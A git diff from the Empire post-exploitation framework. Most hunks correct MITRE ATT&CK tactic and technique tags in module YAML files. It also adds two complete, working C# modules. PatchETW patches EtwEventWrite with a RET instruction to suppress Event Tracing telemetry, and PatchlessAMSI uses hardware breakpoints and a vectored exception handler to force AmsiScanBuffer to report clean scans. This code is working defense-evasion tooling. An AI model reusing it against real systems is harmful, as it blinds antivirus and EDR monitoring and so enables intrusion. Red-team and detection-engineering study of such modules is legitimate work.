a/empire/server/modules/bof/situational_awareness/netloggedon.py +++ b/empire/server/modules/bof/situational_awareness/netloggedon.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/netloggedon.yaml b/empire/server/modules/bof/situational_awareness/netloggedon.yaml index aa179c31c..3d3ce5b15 100644 --- a/empire/server/modules/bof/situational_awareness/netloggedon.yaml +++ b/empire/server/modules/bof/situational_awareness/netloggedon.yaml @@ -5,7 +5,7 @@ authors: link: https://twitter.com/Cx01N_ description: Returns users logged on the local or remote computer. software: '' -tactics: [TA0043, TA0007] +tactics: [TA0043, TA0007, TA0002] techniques: [T1049, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/netshares.py b/empire/server/modules/bof/situational_awareness/netshares.py index 3036431b8..a7625e631 100644 --- a/empire/server/modules/bof/situational_awareness/netshares.py +++ b/empire/server/modules/bof/situational_awareness/netshares.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/windowlist.py b/empire/server/modules/bof/situational_awareness/windowlist.py index 3360e93da..949c271f2 100644 --- a/empire/server/modules/bof/situational_awareness/windowlist.py +++ b/empire/server/modules/bof/situational_awareness/windowlist.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/wmi_query.py b/empire/server/modules/bof/situational_awareness/wmi_query.py index c583ff741..9c1545139 100644 --- a/empire/server/modules/bof/situational_awareness/wmi_query.py +++ b/empire/server/modules/bof/situational_awareness/wmi_query.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): resource = f"\\\\{params['System']}\\{params['Namespace']}" diff --git a/empire/server/modules/bof/situational_awareness/wmi_query.yaml b/empire/server/modules/bof/situational_awareness/wmi_query.yaml index 972453a1f..0096957e3 100644 --- a/empire/server/modules/bof/situational_awareness/wmi_query.yaml +++ b/empire/server/modules/bof/situational_awareness/wmi_query.yaml @@ -10,7 +10,7 @@ description: Beacon Object File (BOF) that executes custom Windows Management In settings, and security data. Enables targeted reconnaissance by querying specific system properties and can be used for both local and remote system discovery. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1047, T1082] background: false output_extension: diff --git a/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml b/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml index 5df25a023..4cb4d11cf 100755 --- a/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml +++ b/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml @@ -10,7 +10,7 @@ description: | command line arguments. Assemblies will be scanned by AMSI and are executed entirely in memory. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0005] techniques: [T1620] background: true output_extension: '' diff --git a/empire/server/modules/csharp/code_execution/RunCoff.yaml b/empire/server/modules/csharp/code_execution/RunCoff.yaml index beed13372..0ac5ca3fa 100755 --- a/empire/server/modules/csharp/code_execution/RunCoff.yaml +++ b/empire/server/modules/csharp/code_execution/RunCoff.yaml @@ -9,7 +9,7 @@ description: | frameworks. COFF loader allows for the execution of C/C++ programs as position independent code. The user must pass in the Format String, Entry Point, and Arguments. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0005] techniques: [T1106, T1620] background: true output_extension: '' diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml index eb36ec364..cede1f8ae 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml @@ -11,7 +11,7 @@ description: | Provided commands are automatically appended with "cmd.exe /c" and this module is equivalent to csharp_code_execution_sharpsploit_shell in all other aspects. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0001, TA0003, TA0004, TA0005] techniques: [T1059.003, T1078.002] background: false output_extension: '' diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml index 117e9ff1f..4f5f24ab2 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml @@ -9,7 +9,7 @@ description: | can be provided to run the command as another user. This module does accept hashes as credentials. Commands are executed from the current directory of the agent process. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0001, TA0003, TA0004, TA0005] techniques: [T1059.003, T1078.002] background: false output_extension: '' diff --git a/empire/server/modules/csharp/code_execution/Shellcode.yaml b/empire/server/modules/csharp/code_execution/Shellcode.yaml index 687d2617d..9c6b9244d 100755 --- a/empire/server/modules/csharp/code_execution/Shellcode.yaml +++ b/empire/server/modules/csharp/code_execution/Shellcode.yaml @@ -9,7 +9,7 @@ description: | format. The module modifies the memory with VirtualProtect to Read, Write, Execute. The module takes no command line inputs. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0005] techniques: [T1106, T1620] background: false output_extension: diff --git a/empire/server/modules/csharp/credentials/Certify.yaml b/empire/server/modules/csharp/credentials/Certify.yaml index 04cfa81de..7c18c8938 100755 --- a/empire/server/modules/csharp/credentials/Certify.yaml +++ b/empire/server/modules/csharp/credentials/Certify.yaml @@ -10,8 +10,8 @@ description: | insecure enrollment permissions. Certificates obtained may be used for domain persistence or impersonation via PKINIT and Kerberos. software: '' -tactics: [TA0043, TA0007] -techniques: [T1590.001, T1590.003, T1482, T1106] +tactics: [TA0043, TA0002] +techniques: [T1590.001, T1590.003, T1106] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/csharp/credentials/Rubeus.yaml b/empire/server/modules/csharp/credentials/Rubeus.yaml index 819a5143e..1b6e8ae14 100755 --- a/empire/server/modules/csharp/credentials/Rubeus.yaml +++ b/empire/server/modules/csharp/credentials/Rubeus.yaml @@ -8,9 +8,9 @@ description: | the LsaCallAuthenticationPackage API, allows for enumeration and manipulation of Kerberos tickets without memory dumping. It supports TTPS such as extracting current TGTs, injecting forged tickets, Kerberoasting, and conducting AS-REP Roasting. -software: '' -tactics: [TA0006, TA0007] -techniques: [T1482, T1558.001, T1558.002, T1558.003, T1558.004] +software: 'S1071' +tactics: [TA0006] +techniques: [T1558.001, T1558.002, T1558.003, T1558.004] background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml b/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml index 7b5fd16ac..256f5dfe8 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml @@ -11,7 +11,7 @@ description: | either Hashcat or John the Ripper format. software: '' tactics: [TA0006] -techniques: [T1558.0003] +techniques: [T1558.003] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml b/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml index d14902d6c..b79a42a3d 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml @@ -11,7 +11,9 @@ description: | the agent process to impersonate the user. software: '' tactics: [TA0004, TA0005] -techniques: [T1134.003] +techniques: + - T1134.001 + - T1134.003 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml b/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml index 7e388a07c..4845824de 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml @@ -10,7 +10,7 @@ description: | such as ImpersonateUser(), ImpersonateProcess(), GetSystem(), and MakeToken(). software: '' tactics: [TA0004, TA0005] -techniques: [T1134.001, T1134.001] +techniques: [T1134.001] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/credentials/Sharpdump.yaml b/empire/server/modules/csharp/credentials/Sharpdump.yaml index 632eac592..1f1b92638 100755 --- a/empire/server/modules/csharp/credentials/Sharpdump.yaml +++ b/empire/server/modules/csharp/credentials/Sharpdump.yaml @@ -10,7 +10,7 @@ description: | is compressed and saved to disk as a .bin file in the system's temp directory. software: '' tactics: [TA0006, TA0007] -techniques: [T1003, T1555.03] +techniques: [T1003, T1555.003] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/management/PatchETW.yaml b/empire/server/modules/csharp/management/PatchETW.yaml new file mode 100644 index 000000000..c78409fa2 --- /dev/null +++ b/empire/server/modules/csharp/management/PatchETW.yaml @@ -0,0 +1,142 @@ +name: PatchETW +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Patches ntdll!EtwEventWrite in the current process to interfere with Event Tracing for Windows (ETW) telemetry generation. + ETW is widely used by EDR and security tooling to collect runtime visibility on process behavior, including script execution and API activity. + Using a single-byte RET patch can reduce local ETW signal for this process, while unpatch mode restores the original first byte when available. +software: '' +tactics: [TA0005] +techniques: + - T1562.001 + - T1562.006 +background: false +output_extension: '' +needs_admin: false +opsec_safe: true +language: csharp +min_language_version: '' +comments: + - https://blog.xpnsec.com/hiding-your-dotnet-etw/ + - https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/ +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: Method + description: Patch or unpatch ETW. + required: true + value: patch + strict: true + suggested_values: + - patch + - unpatch +csharp: + UnsafeCompile: true + CompatibleDotNetVersions: + - Net40 + Code: | + using System; + using System.Runtime.InteropServices; + + public static class Program + { + private const uint PAGE_EXECUTE_READWRITE = 0x40; + private const byte RET_INSTRUCTION = 0xC3; + + private static byte _originalByte; + private static bool _hasOriginalByte; + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + public static void Main(string[] args) + { + string method = args.Length > 0 ? args[0] : "patch"; + method = method.ToLowerInvariant(); + + IntPtr ntdllBase = GetModuleHandle("ntdll.dll"); + if (ntdllBase == IntPtr.Zero) + { + Console.Out.WriteLine("[-] Failed to resolve ntdll.dll module handle."); + return; + } + + IntPtr etwEventWrite = GetProcAddress(ntdllBase, "EtwEventWrite"); + if (etwEventWrite == IntPtr.Zero) + { + Console.Out.WriteLine("[-] Failed to resolve EtwEventWrite address."); + return; + } + + if (!VirtualProtect(etwEventWrite, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out uint oldProtect)) + { + Console.Out.WriteLine("[-] VirtualProtect failed when changing memory protection."); + return; + } + + try + { + unsafe + { + byte* functionPointer = (byte*)etwEventWrite.ToPointer(); + + if (method == "patch") + { + if (!_hasOriginalByte) + { + _originalByte = *functionPointer; + _hasOriginalByte = true; + } + + *functionPointer = RET_INSTRUCTION; + Console.Out.WriteLine("[+] EtwEventWrite patched with RET (0xC3)."); + } + else if (method == "unpatch") + { + if (!_hasOriginalByte) + { + Console.Out.WriteLine("[-] Original byte not available in this context; unable to restore."); + return; + } + + *functionPointer = _originalByte; + Console.Out.WriteLine("[+] EtwEventWrite restored to original first byte (0x{0:X2}).", _originalByte); + } + else + { + Console.Out.WriteLine("[-] Invalid Method value. Use 'patch' or 'unpatch'."); + } + } + } + finally + { + uint tempOldProtect; + if (!VirtualProtect(etwEventWrite, (UIntPtr)1, oldProtect, out tempOldProtect)) + { + Console.Out.WriteLine("[!] Failed to restore original memory protection."); + } + } + } + } + ReferenceSourceLibraries: [] + ReferenceAssemblies: + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + EmbeddedResources: [] diff --git a/empire/server/modules/csharp/management/PatchlessAMSI.yaml b/empire/server/modules/csharp/management/PatchlessAMSI.yaml new file mode 100644 index 000000000..f335f2e6c --- /dev/null +++ b/empire/server/modules/csharp/management/PatchlessAMSI.yaml @@ -0,0 +1,470 @@ +name: PatchlessAMSI +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Antimalware Scan Interface (AMSI) allows providers such as Microsoft Defender to inspect script and in-memory content before execution. This module implements a patchless AMSI bypass by placing a hardware breakpoint on amsi.dll!AmsiScanBuffer and handling the resulting single-step exception with a vectored exception handler (VEH). Unlike classic AMSI bypasses that patch AmsiScanBuffer bytes in memory, this approach avoids modifying executable code and reduces detection opportunities tied to inline patch signatures. When triggered, the handler short-circuits the function and forces a clean scan result path so scripted content can continue executing. +software: '' +tactics: [TA0005] +techniques: [T1562.001] +background: false +output_extension: '' +needs_admin: false +opsec_safe: true +language: csharp +min_language_version: '' +comments: + - https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf + - https://github.com/EvilBytecode/Ebyte-amsi-patchless-vehhwbp +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: Action + description: Enable or disable the AMSI bypass. + required: true + value: enable + strict: true + suggested_values: + - enable + - disable +csharp: + UnsafeCompile: true + CompatibleDotNetVersions: + - Net40 + Code: | + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Threading; + + public static class Program + { + private const uint STATUS_SINGLE_STEP = 0x80000004; + private const int EXCEPTION_CONTINUE_EXECUTION = -1; + private const int EXCEPTION_CONTINUE_SEARCH = 0; + private const uint CONTEXT_DEBUG_REGISTERS = 0x00100010; + private const uint THREAD_GET_CONTEXT = 0x0008; + private const uint THREAD_SET_CONTEXT = 0x0010; + private const uint THREAD_SUSPEND_RESUME = 0x0002; + private const uint TH32CS_SNAPTHREAD = 0x00000004; + + private static IntPtr _amsiScanBuffer = IntPtr.Zero; + private static IntPtr _vehHandle = IntPtr.Zero; + private static readonly VectoredExceptionHandler _vehDelegate = ExceptionHandler; + private static bool _enabled; + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + private delegate int VectoredExceptionHandler(IntPtr exceptionInfo); + + [StructLayout(LayoutKind.Sequential)] + private struct EXCEPTION_POINTERS + { + public IntPtr ExceptionRecord; + public IntPtr ContextRecord; + } + + [StructLayout(LayoutKind.Sequential)] + private struct EXCEPTION_RECORD + { + public uint ExceptionCode; + public uint ExceptionFlags; + public IntPtr ExceptionRecord; + public IntPtr ExceptionAddress; + public uint NumberParameters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15)] + public ulong[] ExceptionInformation; + } + + [StructLayout(LayoutKind.Sequential)] + private struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + public uint ContextFlags; + public uint MxCsr; + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + public ulong Rip; + } + + [StructLayout(LayoutKind.Sequential)] + private struct THREADENTRY32 + { + public uint dwSize; + public uint cntUsage; + public uint th32ThreadID; + public uint th32OwnerProcessID; + public int tpBasePri; + public int tpDeltaPri; + public uint dwFlags; + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string moduleName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr moduleHandle, string procName); + + [DllImport("kernel32.dll")] + private static extern uint GetCurrentProcessId(); + + [DllImport("kernel32.dll")] + private static extern uint GetCurrentThreadId(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenThread(uint desiredAccess, bool inheritHandle, uint threadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetThreadContext(IntPtr threadHandle, ref CONTEXT64 context); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool SetThreadContext(IntPtr threadHandle, ref CONTEXT64 context); + + [DllImport("kernel32.dll")] + private static extern uint SuspendThread(IntPtr threadHandle); + + [DllImport("kernel32.dll")] + private static extern uint ResumeThread(IntPtr threadHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateToolhelp32Snapshot(uint flags, uint processId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Thread32First(IntPtr snapshotHandle, ref THREADENTRY32 threadEntry); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Thread32Next(IntPtr snapshotHandle, ref THREADENTRY32 threadEntry); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr handle); + + [DllImport("kernel32.dll")] + private static extern IntPtr AddVectoredExceptionHandler(uint firstHandler, VectoredExceptionHandler handler); + + [DllImport("kernel32.dll")] + private static extern uint RemoveVectoredExceptionHandler(IntPtr handle); + + public static void Main(string[] args) + { + if (IntPtr.Size != 8) + { + Console.WriteLine("PatchlessAMSI currently supports x64 contexts only."); + return; + } + + string action = args.Length > 0 ? args[0].ToLowerInvariant() : "enable"; + + if (action == "enable") + { + Enable(); + return; + } + + if (action == "disable") + { + Disable(); + return; + } + + Console.WriteLine("Invalid Action. Use 'enable' or 'disable'."); + } + + private static void Enable() + { + if (_enabled) + { + Console.WriteLine("Patchless AMSI bypass is already enabled."); + return; + } + + IntPtr amsiModule = GetModuleHandle("amsi.dll"); + if (amsiModule == IntPtr.Zero) + { + Console.WriteLine("amsi.dll is not loaded in the current process."); + return; + } + + _amsiScanBuffer = GetProcAddress(amsiModule, "AmsiScanBuffer"); + if (_amsiScanBuffer == IntPtr.Zero) + { + Console.WriteLine("Failed to resolve AmsiScanBuffer."); + return; + } + + _vehHandle = AddVectoredExceptionHandler(1, _vehDelegate); + if (_vehHandle == IntPtr.Zero) + { + Console.WriteLine("Failed to register vectored exception handler."); + return; + } + + int patched = SetBreakpointOnAllThreads(_amsiScanBuffer); + if (patched == 0) + { + RemoveVectoredExceptionHandler(_vehHandle); + _vehHandle = IntPtr.Zero; + Console.WriteLine("Failed to set hardware breakpoint on any thread."); + return; + } + + _enabled = true; + Console.WriteLine("Patchless AMSI bypass enabled on " + patched + " thread(s)."); + } + + private static void Disable() + { + int cleared = ClearBreakpointOnAllThreads(); + bool handlerRemoved = true; + + if (_vehHandle != IntPtr.Zero) + { + handlerRemoved = RemoveVectoredExceptionHandler(_vehHandle) != 0; + _vehHandle = IntPtr.Zero; + } + + _enabled = false; + _amsiScanBuffer = IntPtr.Zero; + + if (cleared > 0 && handlerRemoved) + { + Console.WriteLine("Patchless AMSI bypass disabled (" + cleared + " thread(s) cleared)."); + } + else + { + Console.WriteLine("Patchless AMSI bypass disable completed with warnings."); + } + } + + private static int SetBreakpointOnAllThreads(IntPtr targetAddress) + { + int patched = 0; + uint currentPid = GetCurrentProcessId(); + uint helperTid = GetCurrentThreadId(); + + IntPtr snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (snapshot == IntPtr.Zero || snapshot == new IntPtr(-1)) + { + return 0; + } + + try + { + THREADENTRY32 entry = new THREADENTRY32(); + entry.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32)); + + if (!Thread32First(snapshot, ref entry)) + { + return 0; + } + + do + { + if (entry.th32OwnerProcessID != currentPid) + continue; + + if (entry.th32ThreadID == helperTid) + continue; + + IntPtr hThread = OpenThread( + THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, + false, + entry.th32ThreadID); + + if (hThread == IntPtr.Zero) + continue; + + try + { + SuspendThread(hThread); + + CONTEXT64 ctx = new CONTEXT64(); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (GetThreadContext(hThread, ref ctx)) + { + ctx.Dr0 = (ulong)targetAddress.ToInt64(); + ctx.Dr7 &= ~(0xFUL << 16); + ctx.Dr7 |= 1UL; + ctx.Dr6 = 0; + + if (SetThreadContext(hThread, ref ctx)) + { + patched++; + } + } + + ResumeThread(hThread); + } + finally + { + CloseHandle(hThread); + } + } while (Thread32Next(snapshot, ref entry)); + } + finally + { + CloseHandle(snapshot); + } + + return patched; + } + + private static int ClearBreakpointOnAllThreads() + { + int cleared = 0; + uint currentPid = GetCurrentProcessId(); + uint helperTid = GetCurrentThreadId(); + + IntPtr snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (snapshot == IntPtr.Zero || snapshot == new IntPtr(-1)) + { + return 0; + } + + try + { + THREADENTRY32 entry = new THREADENTRY32(); + entry.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32)); + + if (!Thread32First(snapshot, ref entry)) + { + return 0; + } + + do + { + if (entry.th32OwnerProcessID != currentPid) + continue; + + if (entry.th32ThreadID == helperTid) + continue; + + IntPtr hThread = OpenThread( + THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, + false, + entry.th32ThreadID); + + if (hThread == IntPtr.Zero) + continue; + + try + { + SuspendThread(hThread); + + CONTEXT64 ctx = new CONTEXT64(); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (GetThreadContext(hThread, ref ctx)) + { + ctx.Dr0 = 0; + ctx.Dr7 &= ~1UL; + ctx.Dr6 = 0; + + if (SetThreadContext(hThread, ref ctx)) + { + cleared++; + } + } + + ResumeThread(hThread); + } + finally + { + CloseHandle(hThread); + } + } while (Thread32Next(snapshot, ref entry)); + } + finally + { + CloseHandle(snapshot); + } + + return cleared; + } + + private static int ExceptionHandler(IntPtr exceptionInfoPtr) + { + EXCEPTION_POINTERS exceptionPointers = (EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptionInfoPtr, typeof(EXCEPTION_POINTERS)); + EXCEPTION_RECORD exceptionRecord = (EXCEPTION_RECORD)Marshal.PtrToStructure(exceptionPointers.ExceptionRecord, typeof(EXCEPTION_RECORD)); + + if (exceptionRecord.ExceptionCode != STATUS_SINGLE_STEP) + { + return EXCEPTION_CONTINUE_SEARCH; + } + + if (exceptionRecord.ExceptionAddress != _amsiScanBuffer) + { + return EXCEPTION_CONTINUE_SEARCH; + } + + CONTEXT64 context = (CONTEXT64)Marshal.PtrToStructure(exceptionPointers.ContextRecord, typeof(CONTEXT64)); + + try + { + IntPtr resultPointerAddress = (IntPtr)((long)context.Rsp + 0x20L); + IntPtr amsiResultPointer = Marshal.ReadIntPtr(resultPointerAddress); + if (amsiResultPointer != IntPtr.Zero) + { + Marshal.WriteInt32(amsiResultPointer, 0); + } + } + catch + { + } + + ulong returnAddress = (ulong)Marshal.ReadInt64((IntPtr)(long)context.Rsp); + context.Rax = 0; + context.Rip = returnAddress; + context.Rsp += 8; + + Marshal.StructureToPtr(context, exceptionPointers.ContextRecord, false); + return EXCEPTION_CONTINUE_EXECUTION; + } + } + ReferenceSourceLibraries: [] + ReferenceAssemblies: + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + EmbeddedResources: [] diff --git a/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml b/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml index 18e2f6db2..699a82d4e 100755 --- a/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml @@ -11,7 +11,9 @@ description: | scanning when loaded. software: '' tactics: [TA0005] -techniques: [T1562.006] +techniques: + - T1562.001 + - T1562.006 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml b/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml index 40008675a..30e180db8 100755 --- a/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml @@ -10,7 +10,9 @@ description: | typically only available to administrative users. software: '' tactics: [TA0004, TA0005] -techniques: [T1134.002] +techniques: + - T1134.001 + - T1134.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/management/Spawn.py b/empire/server/modules/csharp/management/Spawn.py index 3bf3afdcc..f2c82369b 100644 --- a/empire/server/modules/csharp/management/Spawn.py +++ b/empire/server/modules/csharp/management/Spawn.py @@ -72,7 +72,7 @@ def generate( ) if not exe_path or exe_path == "" or str(exe_path).lower() == "failed": - raise ModuleValidationException("[!] Error generating launcher EXE.") + raise ModuleValidationException("Error generating launcher EXE.") assembly_bytes = Path(exe_path).read_bytes() base64_assembly = base64.b64encode(assembly_bytes).decode("utf-8") diff --git a/empire/server/modules/csharp/management/Spawn.yaml b/empire/server/modules/csharp/management/Spawn.yaml index 6ee333489..0df5a1d6f 100644 --- a/empire/server/modules/csharp/management/Spawn.yaml +++ b/empire/server/modules/csharp/management/Spawn.yaml @@ -9,7 +9,7 @@ description: | to the designated listener. This is the C# equivalent of the PowerShell spawn module. software: '' -tactics: [] +tactics: [TA0002] techniques: - T1059 background: true diff --git a/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml b/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml index b49328d03..987e371d0 100755 --- a/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml +++ b/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml @@ -12,7 +12,7 @@ description: | credentials, allowing the attacker to capture NTLM authentication tokens. software: '' tactics: [TA0004, TA0006, TA0009] -techniques: [T1557.0001, T1187] +techniques: [T1557.001, T1187] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/Moriarty.yaml b/empire/server/modules/csharp/situational_awareness/Moriarty.yaml index dd0b1c432..742707090 100755 --- a/empire/server/modules/csharp/situational_awareness/Moriarty.yaml +++ b/empire/server/modules/csharp/situational_awareness/Moriarty.yaml @@ -7,7 +7,7 @@ description: | Moriarty is a comprehensive .NET tool that extends the functionality of Watson and Sherlock, originally developed by @_RastaMouse. It is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential exploits for Privilege Escalation in Windows environments. Moriarty combines the capabilities of Watson and Sherlock, adding enhanced scanning for newer vulnerabilities and integrating additional checks. software: '' tactics: [TA0007] -techniques: [T1012, T1518, T11082] +techniques: [T1012, T1518, T1082] background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSC.yaml b/empire/server/modules/csharp/situational_awareness/SharpSC.yaml index 24b019013..dbe27a615 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSC.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSC.yaml @@ -11,7 +11,7 @@ description: | awareness to identify running services, service accounts, and potential persistence mechanisms through service analysis and manipulation. software: '' -tactics: [TA0007. TA0040] +tactics: [TA0007, TA0040] techniques: [T1007, T1489] background: true output_extension: '' diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml index 46498ff69..c882b884e 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml @@ -12,7 +12,7 @@ description: | all domain computers. software: '' tactics: [TA0007] -techniques: [T1069, T1018, T1615] +techniques: [T1069, T1018] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml index 1277da934..35f88ae30 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml @@ -12,7 +12,7 @@ description: | all domain groups. software: '' tactics: [TA0007] -techniques: [T1482, T1615, T1069.002] +techniques: [T1069.002] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml index fd6dfd623..4f4b8b305 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml @@ -11,7 +11,7 @@ description: | targeted enumeration of specific users by name or comprehensive enumeration of all domain users. tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +techniques: [T1069.002, T1087.002] background: false output_extension: '' needs_admin: false diff --git 